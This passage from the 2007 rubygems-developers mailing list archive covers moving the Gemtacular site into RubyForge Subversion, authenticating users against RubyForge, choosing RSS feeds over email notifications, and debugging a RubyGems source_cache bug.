1/9/07, Steven Lumos wrote: > > > > Guys. Since it's not necessary to squeeze between domain squatters > > edgewise in this case, how about a nice boring name like > > list.rubygems.org? > > > > Steve > > > > I agree with your sentiment. My hope would be that when this goes > live for "real", it's just rubygems.org and doesn't have a special > name. Anthony, how do you feel about that? in that case, I see the > current DNS name to be more of a project code name than anything else. > > Chad I agree, the current name is purely temporary. What I envisioned was once Chad deploys the app to his server he will point the gemtacular.rubygems.org name to his install. At that point we will work on it and keep deploying until he is comfortable replacing rubygems.org, at which point, the gemtacular.rubygems.org name just directs to the rubygems.org homepage. V/r Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From anthonyeden at gmail.com Wed Jan 10 09:39:04 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Wed, 10 Jan 2007 09:39:04 -0500 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion Message-ID: The gemtacular code is now in the RubyForge subversion repository. I've modified the deploy script to point to the new repo, but haven't tested it out yet...next deployment I'll make sure it works. svn checkout svn://rubyforge.org/var/svn/gemtacular Do you all have any objections to just discussing the gemtacular changes here for now, rather than starting up a new mailing list? V/r Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From chad at chadfowler.com Wed Jan 10 12:14:02 2007 From: chad at chadfowler.com (Chad Fowler) Date: Wed, 10 Jan 2007 10:14:02 -0700 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On 1/10/07, Anthony Eden wrote: > The gemtacular code is now in the RubyForge subversion repository. > I've modified the deploy script to point to the new repo, but haven't > tested it out yet...next deployment I'll make sure it works. > > svn checkout svn://rubyforge.org/var/svn/gemtacular > Cool. I've modified it here locally to use RubyForge as the authentication database. It only goes to RubyForge if it can't authenticate locally. On successful login, it creates a local user account so we're not always hitting RubyForge (via its SOAP API). Do you want to add me to the RubyForge project so I can commit? I'm chadfowler on RubyForge. If you don't mind, you could also add wbruce (Bruce Williams). We're the two that have started and stopped this project more than once :) > Do you all have any objections to just discussing the gemtacular > changes here for now, rather than starting up a new mailing list? I think this is the place to do it. I don't imagine we're going to flood people's mailboxes. :) From anthonyeden at gmail.com Wed Jan 10 13:18:39 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Wed, 10 Jan 2007 13:18:39 -0500 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On 1/10/07, Chad Fowler wrote: > On 1/10/07, Anthony Eden wrote: > > The gemtacular code is now in the RubyForge subversion repository. > > I've modified the deploy script to point to the new repo, but haven't > > tested it out yet...next deployment I'll make sure it works. > > > > svn checkout svn://rubyforge.org/var/svn/gemtacular > > > > Cool. I've modified it here locally to use RubyForge as the > authentication database. It only goes to RubyForge if it can't > authenticate locally. On successful login, it creates a local user > account so we're not always hitting RubyForge (via its SOAP API). > > Do you want to add me to the RubyForge project so I can commit? I'm > chadfowler on RubyForge. If you don't mind, you could also add wbruce > (Bruce Williams). We're the two that have started and stopped this > project more than once :) I've added you both to the project. I'm looking forward to seeing the changes. :-) V/r Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From chad at chadfowler.com Wed Jan 10 14:27:00 2007 From: chad at chadfowler.com (Chad Fowler) Date: Wed, 10 Jan 2007 12:27:00 -0700 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On 1/10/07, Anthony Eden wrote: > On 1/10/07, Chad Fowler wrote: > > On 1/10/07, Anthony Eden wrote: > > > The gemtacular code is now in the RubyForge subversion repository. > > > I've modified the deploy script to point to the new repo, but haven't > > > tested it out yet...next deployment I'll make sure it works. > > > > > > svn checkout svn://rubyforge.org/var/svn/gemtacular > > > > > > > Cool. I've modified it here locally to use RubyForge as the > > authentication database. It only goes to RubyForge if it can't > > authenticate locally. On successful login, it creates a local user > > account so we're not always hitting RubyForge (via its SOAP API). > > > > Do you want to add me to the RubyForge project so I can commit? I'm > > chadfowler on RubyForge. If you don't mind, you could also add wbruce > > (Bruce Williams). We're the two that have started and stopped this > > project more than once :) > > I've added you both to the project. I'm looking forward to seeing the > changes. :-) > My little RubyForge hack is checked in. Don't forget to run the migration (just removed the email field from the users table). Chad From bruce at codefluency.com Wed Jan 10 14:31:41 2007 From: bruce at codefluency.com (Bruce Williams) Date: Wed, 10 Jan 2007 12:31:41 -0700 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On 1/10/07, Anthony Eden wrote: > On 1/10/07, Chad Fowler wrote: > > On 1/10/07, Anthony Eden wrote: > I've added you both to the project. I'm looking forward to seeing the > changes. :-) Great, I'll start in on the design work shortly :-) Cheers, Bruce --- Bruce Williams http://codefluency.com From anthonyeden at gmail.com Wed Jan 10 16:00:08 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Wed, 10 Jan 2007 16:00:08 -0500 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On 1/10/07, Chad Fowler wrote: > > My little RubyForge hack is checked in. Don't forget to run the > migration (just removed the email field from the users table). Chad, Did you add in the migration? I didn't see one come through. V/r Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From chad at chadfowler.com Wed Jan 10 16:17:12 2007 From: chad at chadfowler.com (Chad Fowler) Date: Wed, 10 Jan 2007 14:17:12 -0700 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On 1/10/07, Anthony Eden wrote: > On 1/10/07, Chad Fowler wrote: > > > > My little RubyForge hack is checked in. Don't forget to run the > > migration (just removed the email field from the users table). > Chad, > > Did you add in the migration? I didn't see one come through. > Now I did :) Chad From anthonyeden at gmail.com Wed Jan 10 22:00:01 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Wed, 10 Jan 2007 22:00:01 -0500 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On 1/10/07, Chad Fowler wrote: > On 1/10/07, Anthony Eden wrote: > > On 1/10/07, Chad Fowler wrote: > > > > > > My little RubyForge hack is checked in. Don't forget to run the > > > migration (just removed the email field from the users table). > > Chad, > > > > Did you add in the migration? I didn't see one come through. > > > > Now I did :) > > Chad Any chance we can get the email out of RubyForge? At some point I think we'll want to be able to send emails to people, so we need to get their email somehow...if we can't get it out of RubyForge then we will just need to let users set it. Thoughts? V/r Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From drnicwilliams at gmail.com Thu Jan 11 01:02:32 2007 From: drnicwilliams at gmail.com (Nic Williams) Date: Thu, 11 Jan 2007 16:32:32 +1030 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: <44b555bb0701102202g7912495djd90e91275f9f0943@mail.gmail.com> Vote: Google Groups is a great mail/forum platform. Nic On 1/11/07, Anthony Eden wrote: > > On 1/10/07, Chad Fowler wrote: > > On 1/10/07, Anthony Eden wrote: > > > On 1/10/07, Chad Fowler wrote: > > > > > > > > My little RubyForge hack is checked in. Don't forget to run the > > > > migration (just removed the email field from the users table). > > > Chad, > > > > > > Did you add in the migration? I didn't see one come through. > > > > > > > Now I did :) > > > > Chad > > Any chance we can get the email out of RubyForge? At some point I > think we'll want to be able to send emails to people, so we need to > get their email somehow...if we can't get it out of RubyForge then we > will just need to let users set it. > > Thoughts? > > V/r > Anthony > -- > Cell: 808 782-5046 > Current Location: Melbourne, FL > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers > -- Dr Nic Williams http://www.drnicwilliams.com - Ruby/Rails blog skype: nicwilliams (m) +31 62 494 8552 (p) +61 7 3102 3237 (finds me anywhere in the world) (f) +61 7 3305 7572 (sends fax to my email) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070111/62d821d6/attachment.html From anthonyeden at gmail.com Thu Jan 11 09:34:19 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Thu, 11 Jan 2007 09:34:19 -0500 Subject: [Rubygems-developers] When Junk Gets into the Description Message-ID: Perhaps there needs to be a better way of handling what goes into the description field of a gem spec. Right now developers pretty much throw whatever they want in there. Sometimes it is empty, sometimes it is part of a README, including rdoc formatting, sometimes it is HTML, etc. etc. Would it be possible to be explicit in the documentation and either say *no markup* or specify a particular markup type? I've been trying to make the display of the description in gemtacular nicer, but it just isn't happening because there is no consistency. In the end it would probably be best to just indicate that no markup should be included. Just thinking out loud here... :-) V/r Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From ntalbott at gmail.com Thu Jan 11 10:09:23 2007 From: ntalbott at gmail.com (Nathaniel Talbott) Date: Thu, 11 Jan 2007 10:09:23 -0500 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: <44b555bb0701102202g7912495djd90e91275f9f0943@mail.gmail.com> References: <44b555bb0701102202g7912495djd90e91275f9f0943@mail.gmail.com> Message-ID: On 1/11/07, Nic Williams wrote: > Vote: Google Groups is a great mail/forum platform. Is that a non sequitur? Or did I miss something? -- Nathaniel Talbott <:((>< From anthonyeden at gmail.com Thu Jan 11 10:29:59 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Thu, 11 Jan 2007 10:29:59 -0500 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: <44b555bb0701102202g7912495djd90e91275f9f0943@mail.gmail.com> Message-ID: Perhaps I need to clarify - we need to get their *email addresses*. :-) V/r Anthony On 1/11/07, Nathaniel Talbott wrote: > On 1/11/07, Nic Williams wrote: > > Vote: Google Groups is a great mail/forum platform. > > Is that a non sequitur? Or did I miss something? > > > -- > Nathaniel Talbott > > <:((>< > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers > -- Cell: 808 782-5046 Current Location: Melbourne, FL From anthonyeden at gmail.com Thu Jan 11 10:49:22 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Thu, 11 Jan 2007 10:49:22 -0500 Subject: [Rubygems-developers] Problem with 0.9.0.9 In-Reply-To: References: <9D5EDFA9-279F-4EC5-941E-4E06651B0FEE@gmail.com> <0773529E-E4A2-4176-B134-6D5FACB3EA63@segment7.net> <3D7E6EE8-1D26-4DFC-A41D-D81517C2DE91@segment7.net> Message-ID: On 1/11/07, Anthony Eden wrote: > On 1/7/07, Jim Freeze wrote: > > > > On Jan 7, 2007, at 7:35 PM, Eric Hodel wrote: > > > > > > Its a bug somewhere, but where exactly is uncertain still. > > > > Did source_cache already exist, or were these systems virgin? > > > > These were all new systems - no ruby in site. > > > > > > There have been problems with source_cache being hosed since RubyGems > > 0.9.0, but I'm unsure if that's due to RubyGems changes or Ruby > > changes. I'm trying to collect corrupt source_cache files to > > reproduce the problem. > > > > Hmm, well, the problem may have been my fault. I installed rubygems 0.8.11 > > on each of these systems and immediately did update --system. > > > > I just noticed that there is a 0.9.0 version of rubygems. I will use that in > > the future. > > But, seems all the upgrades from 0.8.11 are going to fail. Maybe a quick fix > > would > > be just to have 'update --system' to just delete source_cache. :) > > > > > > > > > > Jim Freeze > > I just got bit by this same bug, so I've attached my source_cache so > you can have a look at it. What it looks like to me is that cache > entries used to be stored as Hashes and now they should be > Gem::SourceInfoCacheEntry. Unfortunately the cache loader will not > create new cache entries if one already exists, so it loads the Hash > instances and then tries to call the non-existent method source_index. > > IMHO, the best thing to do is to blow out the source_cache > automatically during the install process, if at all possible. Well, it looks like my analysis of the problem may have been premature. I blew out my source_cache and the problem still exists. I'm debugging now. V/r Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From anthonyeden at gmail.com Thu Jan 11 10:51:14 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Thu, 11 Jan 2007 10:51:14 -0500 Subject: [Rubygems-developers] Problem with 0.9.0.9 In-Reply-To: References: <9D5EDFA9-279F-4EC5-941E-4E06651B0FEE@gmail.com> <0773529E-E4A2-4176-B134-6D5FACB3EA63@segment7.net> <3D7E6EE8-1D26-4DFC-A41D-D81517C2DE91@segment7.net> Message-ID: On 1/11/07, Anthony Eden wrote: > On 1/11/07, Anthony Eden wrote: > > On 1/7/07, Jim Freeze wrote: > > > > > > On Jan 7, 2007, at 7:35 PM, Eric Hodel wrote: > > > > > > > > > Its a bug somewhere, but where exactly is uncertain still. > > > > > > Did source_cache already exist, or were these systems virgin? > > > > > > These were all new systems - no ruby in site. > > > > > > > > > There have been problems with source_cache being hosed since RubyGems > > > 0.9.0, but I'm unsure if that's due to RubyGems changes or Ruby > > > changes. I'm trying to collect corrupt source_cache files to > > > reproduce the problem. > > > > > > Hmm, well, the problem may have been my fault. I installed rubygems 0.8.11 > > > on each of these systems and immediately did update --system. > > > > > > I just noticed that there is a 0.9.0 version of rubygems. I will use that in > > > the future. > > > But, seems all the upgrades from 0.8.11 are going to fail. Maybe a quick fix > > > would > > > be just to have 'update --system' to just delete source_cache. :) > > > > > > > > > > > > > > > Jim Freeze > > > > I just got bit by this same bug, so I've attached my source_cache so > > you can have a look at it. What it looks like to me is that cache > > entries used to be stored as Hashes and now they should be > > Gem::SourceInfoCacheEntry. Unfortunately the cache loader will not > > create new cache entries if one already exists, so it loads the Hash > > instances and then tries to call the non-existent method source_index. > > > > IMHO, the best thing to do is to blow out the source_cache > > automatically during the install process, if at all possible. > > Well, it looks like my analysis of the problem may have been > premature. I blew out my source_cache and the problem still exists. > I'm debugging now. First message didn't make it to the list because I attached my source_cache. Eric, if you want my source_cache just let me know and I'll send it directly to you. Back to debugging... V/r Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From chad at chadfowler.com Thu Jan 11 10:52:48 2007 From: chad at chadfowler.com (Chad Fowler) Date: Thu, 11 Jan 2007 08:52:48 -0700 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On 1/10/07, Anthony Eden wrote: > On 1/10/07, Chad Fowler wrote: > > On 1/10/07, Anthony Eden wrote: > > > On 1/10/07, Chad Fowler wrote: > > > > > > > > My little RubyForge hack is checked in. Don't forget to run the > > > > migration (just removed the email field from the users table). > > > Chad, > > > > > > Did you add in the migration? I didn't see one come through. > > > > > > > Now I did :) > > > > Chad > > Any chance we can get the email out of RubyForge? At some point I > think we'll want to be able to send emails to people, so we need to > get their email somehow...if we can't get it out of RubyForge then we > will just need to let users set it. > > Thoughts? > We might be able to work with the RubyForge people to expose some other services for email, but I'm wondering what we might want to send them email for? Do you have a specific feature in mind? Chad From chad at chadfowler.com Thu Jan 11 11:00:27 2007 From: chad at chadfowler.com (Chad Fowler) Date: Thu, 11 Jan 2007 09:00:27 -0700 Subject: [Rubygems-developers] When Junk Gets into the Description In-Reply-To: References: Message-ID: On 1/11/07, Anthony Eden wrote: > Perhaps there needs to be a better way of handling what goes into the > description field of a gem spec. Right now developers pretty much > throw whatever they want in there. Sometimes it is empty, sometimes it > is part of a README, including rdoc formatting, sometimes it is HTML, > etc. etc. Would it be possible to be explicit in the documentation and > either say *no markup* or specify a particular markup type? > > I've been trying to make the display of the description in gemtacular > nicer, but it just isn't happening because there is no consistency. In > the end it would probably be best to just indicate that no markup > should be included. > > Just thinking out loud here... :-) > I think we can make a recommendation, but it will be hard to enforce. I think no markup is the right thing to suggest. Chad From anthonyeden at gmail.com Thu Jan 11 11:02:42 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Thu, 11 Jan 2007 11:02:42 -0500 Subject: [Rubygems-developers] Problem with 0.9.0.9 In-Reply-To: References: <9D5EDFA9-279F-4EC5-941E-4E06651B0FEE@gmail.com> <0773529E-E4A2-4176-B134-6D5FACB3EA63@segment7.net> <3D7E6EE8-1D26-4DFC-A41D-D81517C2DE91@segment7.net> Message-ID: On 1/11/07, Anthony Eden wrote: > On 1/11/07, Anthony Eden wrote: > > On 1/11/07, Anthony Eden wrote: > > > On 1/7/07, Jim Freeze wrote: > > > > > > > > On Jan 7, 2007, at 7:35 PM, Eric Hodel wrote: > > > > > > > > > > > > Its a bug somewhere, but where exactly is uncertain still. > > > > > > > > Did source_cache already exist, or were these systems virgin? > > > > > > > > These were all new systems - no ruby in site. > > > > > > > > > > > > There have been problems with source_cache being hosed since RubyGems > > > > 0.9.0, but I'm unsure if that's due to RubyGems changes or Ruby > > > > changes. I'm trying to collect corrupt source_cache files to > > > > reproduce the problem. > > > > > > > > Hmm, well, the problem may have been my fault. I installed rubygems 0.8.11 > > > > on each of these systems and immediately did update --system. > > > > > > > > I just noticed that there is a 0.9.0 version of rubygems. I will use that in > > > > the future. > > > > But, seems all the upgrades from 0.8.11 are going to fail. Maybe a quick fix > > > > would > > > > be just to have 'update --system' to just delete source_cache. :) > > > > > > > > > > > > > > > > > > > > Jim Freeze > > > > > > I just got bit by this same bug, so I've attached my source_cache so > > > you can have a look at it. What it looks like to me is that cache > > > entries used to be stored as Hashes and now they should be > > > Gem::SourceInfoCacheEntry. Unfortunately the cache loader will not > > > create new cache entries if one already exists, so it loads the Hash > > > instances and then tries to call the non-existent method source_index. > > > > > > IMHO, the best thing to do is to blow out the source_cache > > > automatically during the install process, if at all possible. > > > > Well, it looks like my analysis of the problem may have been > > premature. I blew out my source_cache and the problem still exists. > > I'm debugging now. > > > First message didn't make it to the list because I attached my > source_cache. Eric, if you want my source_cache just let me know and > I'll send it directly to you. > > Back to debugging... > > V/r > Anthony OK, I think I have found something of interest. I put in some puts lines and found this: [/usr/local/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb,37] retrieving the cache [/usr/local/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb,87] refreshing the cache data [/usr/local/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb,90] cache_entry is a Gem::SourceInfoCacheEntry [/usr/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb,81] http://gems.rubyforge.org: sic_entry is a Gem::SourceInfoCacheEntry [/usr/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb,81] http://dist.leetsoft.com: sic_entry is a Hash As you can see then, it's actually a remote repository that is returning a Hash instead of a Gem::SourceInfoCacheEntry. I haven't come up with a patch yet as I figure someone who knows the internals of rubygems might be able to do it quicker, however I'll be happy to dig around and create one if necessary, just let me know. V/r Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From anthonyeden at gmail.com Thu Jan 11 11:04:52 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Thu, 11 Jan 2007 11:04:52 -0500 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On 1/11/07, Chad Fowler wrote: > On 1/10/07, Anthony Eden wrote: > > On 1/10/07, Chad Fowler wrote: > > > On 1/10/07, Anthony Eden wrote: > > > > On 1/10/07, Chad Fowler wrote: > > > > > > > > > > My little RubyForge hack is checked in. Don't forget to run the > > > > > migration (just removed the email field from the users table). > > > > Chad, > > > > > > > > Did you add in the migration? I didn't see one come through. > > > > > > > > > > Now I did :) > > > > > > Chad > > > > Any chance we can get the email out of RubyForge? At some point I > > think we'll want to be able to send emails to people, so we need to > > get their email somehow...if we can't get it out of RubyForge then we > > will just need to let users set it. > > > > Thoughts? > > > > We might be able to work with the RubyForge people to expose some > other services for email, but I'm wondering what we might want to send > them email for? Do you have a specific feature in mind? > > Chad Some examples: Notification when a particular gem is released Notification when a gem is rated or commented on Any other kind of notification that I might not be thinking about :-) Thinking a little more about it, though, we could just as easily make all pages support RSS and then people can get their notification fix that way, which may be a better solution anyhow. Thoughts? V/r Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From anthonyeden at gmail.com Thu Jan 11 11:16:41 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Thu, 11 Jan 2007 11:16:41 -0500 Subject: [Rubygems-developers] Problem with 0.9.0.9 In-Reply-To: References: <9D5EDFA9-279F-4EC5-941E-4E06651B0FEE@gmail.com> <0773529E-E4A2-4176-B134-6D5FACB3EA63@segment7.net> <3D7E6EE8-1D26-4DFC-A41D-D81517C2DE91@segment7.net> Message-ID: On 1/11/07, Anthony Eden wrote: > On 1/11/07, Anthony Eden wrote: > > On 1/11/07, Anthony Eden wrote: > > > On 1/11/07, Anthony Eden wrote: > > > > On 1/7/07, Jim Freeze wrote: > > > > > > > > > > On Jan 7, 2007, at 7:35 PM, Eric Hodel wrote: > > > > > > > > > > > > > > > Its a bug somewhere, but where exactly is uncertain still. > > > > > > > > > > Did source_cache already exist, or were these systems virgin? > > > > > > > > > > These were all new systems - no ruby in site. > > > > > > > > > > > > > > > There have been problems with source_cache being hosed since RubyGems > > > > > 0.9.0, but I'm unsure if that's due to RubyGems changes or Ruby > > > > > changes. I'm trying to collect corrupt source_cache files to > > > > > reproduce the problem. > > > > > > > > > > Hmm, well, the problem may have been my fault. I installed rubygems 0.8.11 > > > > > on each of these systems and immediately did update --system. > > > > > > > > > > I just noticed that there is a 0.9.0 version of rubygems. I will use that in > > > > > the future. > > > > > But, seems all the upgrades from 0.8.11 are going to fail. Maybe a quick fix > > > > > would > > > > > be just to have 'update --system' to just delete source_cache. :) > > > > > > > > > > > > > > > > > > > > > > > > > Jim Freeze > > > > > > > > I just got bit by this same bug, so I've attached my source_cache so > > > > you can have a look at it. What it looks like to me is that cache > > > > entries used to be stored as Hashes and now they should be > > > > Gem::SourceInfoCacheEntry. Unfortunately the cache loader will not > > > > create new cache entries if one already exists, so it loads the Hash > > > > instances and then tries to call the non-existent method source_index. > > > > > > > > IMHO, the best thing to do is to blow out the source_cache > > > > automatically during the install process, if at all possible. > > > > > > Well, it looks like my analysis of the problem may have been > > > premature. I blew out my source_cache and the problem still exists. > > > I'm debugging now. > > > > > > First message didn't make it to the list because I attached my > > source_cache. Eric, if you want my source_cache just let me know and > > I'll send it directly to you. > > > > Back to debugging... > > > > V/r > > Anthony > > OK, I think I have found something of interest. I put in some puts > lines and found this: > > [/usr/local/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb,37] > retrieving the cache > [/usr/local/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb,87] > refreshing the cache data > [/usr/local/lib/ruby/site_ruby/1.8/rubygems/source_info_cache.rb,90] > cache_entry is a Gem::SourceInfoCacheEntry > [/usr/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb,81] > http://gems.rubyforge.org: sic_entry is a Gem::SourceInfoCacheEntry > [/usr/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb,81] > http://dist.leetsoft.com: sic_entry is a Hash > > As you can see then, it's actually a remote repository that is > returning a Hash instead of a Gem::SourceInfoCacheEntry. > > I haven't come up with a patch yet as I figure someone who knows the > internals of rubygems might be able to do it quicker, however I'll be > happy to dig around and create one if necessary, just let me know. > > V/r > Anthony > I blew out my user cache ~/.gem/source_cache in addition to the system one and the problem went away, so I suppose my initial interpretation was correct but incomplete. So, I suppose blowing out the system and user cache on install may still be the easiest solution. V/r Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From chad at chadfowler.com Thu Jan 11 11:32:36 2007 From: chad at chadfowler.com (Chad Fowler) Date: Thu, 11 Jan 2007 09:32:36 -0700 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On 1/11/07, Anthony Eden wrote: > On 1/11/07, Chad Fowler wrote: > > On 1/10/07, Anthony Eden wrote: > > > On 1/10/07, Chad Fowler wrote: > > > > On 1/10/07, Anthony Eden wrote: > > > > > On 1/10/07, Chad Fowler wrote: > > > > > > > > > > > > My little RubyForge hack is checked in. Don't forget to run the > > > > > > migration (just removed the email field from the users table). > > > > > Chad, > > > > > > > > > > Did you add in the migration? I didn't see one come through. > > > > > > > > > > > > > Now I did :) > > > > > > > > Chad > > > > > > Any chance we can get the email out of RubyForge? At some point I > > > think we'll want to be able to send emails to people, so we need to > > > get their email somehow...if we can't get it out of RubyForge then we > > > will just need to let users set it. > > > > > > Thoughts? > > > > > > > We might be able to work with the RubyForge people to expose some > > other services for email, but I'm wondering what we might want to send > > them email for? Do you have a specific feature in mind? > > > > Chad > > Thinking a little more about it, though, we could just as easily make > all pages support RSS and then people can get their notification fix > that way, which may be a better solution anyhow. Thoughts? > That's what I was thinking. For our audience, there's no need to push these days. Chad From hgs at dmu.ac.uk Thu Jan 11 11:46:13 2007 From: hgs at dmu.ac.uk (Hugh Sasse) Date: Thu, 11 Jan 2007 16:46:13 +0000 (WET) Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On Thu, 11 Jan 2007, Anthony Eden wrote: > Some examples: > > Notification when a particular gem is released [...] > > Thinking a little more about it, though, we could just as easily make > all pages support RSS and then people can get their notification fix > that way, which may be a better solution anyhow. Thoughts? Yes, RSS is the way to go for this. However, I wish to raise the point that the Ruby net/HTTP class doesn't support content encoding transparently yet: http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.5 so that the compression of RSS feeds to spare the bandwidth won't work yet. See also http://www.infoworld.com/article/04/07/30/31OPconnection_1.html I don't really know a good way to add this cleanly to the interface we already have: if someone adds these headers by hand to the request and ruby unpacks them they won't get what they expect. > > V/r > Anthony > Hugh From anthonyeden at gmail.com Thu Jan 11 11:48:56 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Thu, 11 Jan 2007 11:48:56 -0500 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On 1/11/07, Chad Fowler wrote: > On 1/11/07, Anthony Eden wrote: > > > > Thinking a little more about it, though, we could just as easily make > > all pages support RSS and then people can get their notification fix > > that way, which may be a better solution anyhow. Thoughts? > > > > That's what I was thinking. For our audience, there's no need to > push these days. > > Chad So RSS feeds it is, unless someone comes up with something which absolutely cannot be done without having an email address. V/r Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From drbrain at segment7.net Thu Jan 11 11:57:00 2007 From: drbrain at segment7.net (Eric Hodel) Date: Thu, 11 Jan 2007 08:57:00 -0800 Subject: [Rubygems-developers] Problem with 0.9.0.9 In-Reply-To: References: <9D5EDFA9-279F-4EC5-941E-4E06651B0FEE@gmail.com> <0773529E-E4A2-4176-B134-6D5FACB3EA63@segment7.net> <3D7E6EE8-1D26-4DFC-A41D-D81517C2DE91@segment7.net> Message-ID: <641D0DE5-7249-49AC-92B8-434605072AB5@segment7.net> On Jan 11, 2007, at 07:51, Anthony Eden wrote: > First message didn't make it to the list because I attached my > source_cache. Eric, if you want my source_cache just let me know and > I'll send it directly to you. Please send it to me. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From drbrain at segment7.net Thu Jan 11 12:00:05 2007 From: drbrain at segment7.net (Eric Hodel) Date: Thu, 11 Jan 2007 09:00:05 -0800 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On Jan 11, 2007, at 08:46, Hugh Sasse wrote: > On Thu, 11 Jan 2007, Anthony Eden wrote: >> Some examples: >> >> Notification when a particular gem is released > [...] >> >> Thinking a little more about it, though, we could just as easily make >> all pages support RSS and then people can get their notification fix >> that way, which may be a better solution anyhow. Thoughts? > > Yes, RSS is the way to go for this. However, I wish to raise the > point that the Ruby net/HTTP class doesn't support content encoding > transparently yet: What does this have to do with serving RSS? -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From hgs at dmu.ac.uk Thu Jan 11 12:34:01 2007 From: hgs at dmu.ac.uk (Hugh Sasse) Date: Thu, 11 Jan 2007 17:34:01 +0000 (WET) Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On Thu, 11 Jan 2007, Eric Hodel wrote: > On Jan 11, 2007, at 08:46, Hugh Sasse wrote: > > Yes, RSS is the way to go for this. However, I wish to raise the > > point that the Ruby net/HTTP class doesn't support content encoding > > transparently yet: > > What does this have to do with serving RSS? We are proposing to increase the amount of RSS served by this host. This will increase the load on said host. Given that the audience is rubyists, there will be people accessing this by means of Ruby. The fact that Ruby doesn't yet support the compression feature out of the box means that any load increase is maximized. However, given that same audience, it might be that someone has had an idea about how to solve this cleanly, so we can do something to improve the situation. That latter part is probably worth moving to ruby-core. > Hugh From hgs at dmu.ac.uk Thu Jan 11 15:14:10 2007 From: hgs at dmu.ac.uk (Hugh Sasse) Date: Thu, 11 Jan 2007 20:14:10 +0000 (WET) Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On Thu, 11 Jan 2007, Hugh Sasse wrote: > On Thu, 11 Jan 2007, Eric Hodel wrote: > > > On Jan 11, 2007, at 08:46, Hugh Sasse wrote: > > > Yes, RSS is the way to go for this. However, I wish to raise the > > > point that the Ruby net/HTTP class doesn't support content encoding > > > transparently yet: > > > > What does this have to do with serving RSS? > I pointed at section 3.5 when I should have pointed at 14.3 http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.3 Sorry about that. I don't understand how this works with chunking either yet... Hugh From drbrain at segment7.net Fri Jan 12 11:44:57 2007 From: drbrain at segment7.net (Eric Hodel) Date: Fri, 12 Jan 2007 08:44:57 -0800 Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On Jan 11, 2007, at 09:34, Hugh Sasse wrote: > On Thu, 11 Jan 2007, Eric Hodel wrote: >> On Jan 11, 2007, at 08:46, Hugh Sasse wrote: >>> Yes, RSS is the way to go for this. However, I wish to raise the >>> point that the Ruby net/HTTP class doesn't support content encoding >>> transparently yet: >> >> What does this have to do with serving RSS? > > We are proposing to increase the amount of RSS served by this host. > This will increase the load on said host. > Given that the audience is rubyists, there will be people accessing > this by means of Ruby. > The fact that Ruby doesn't 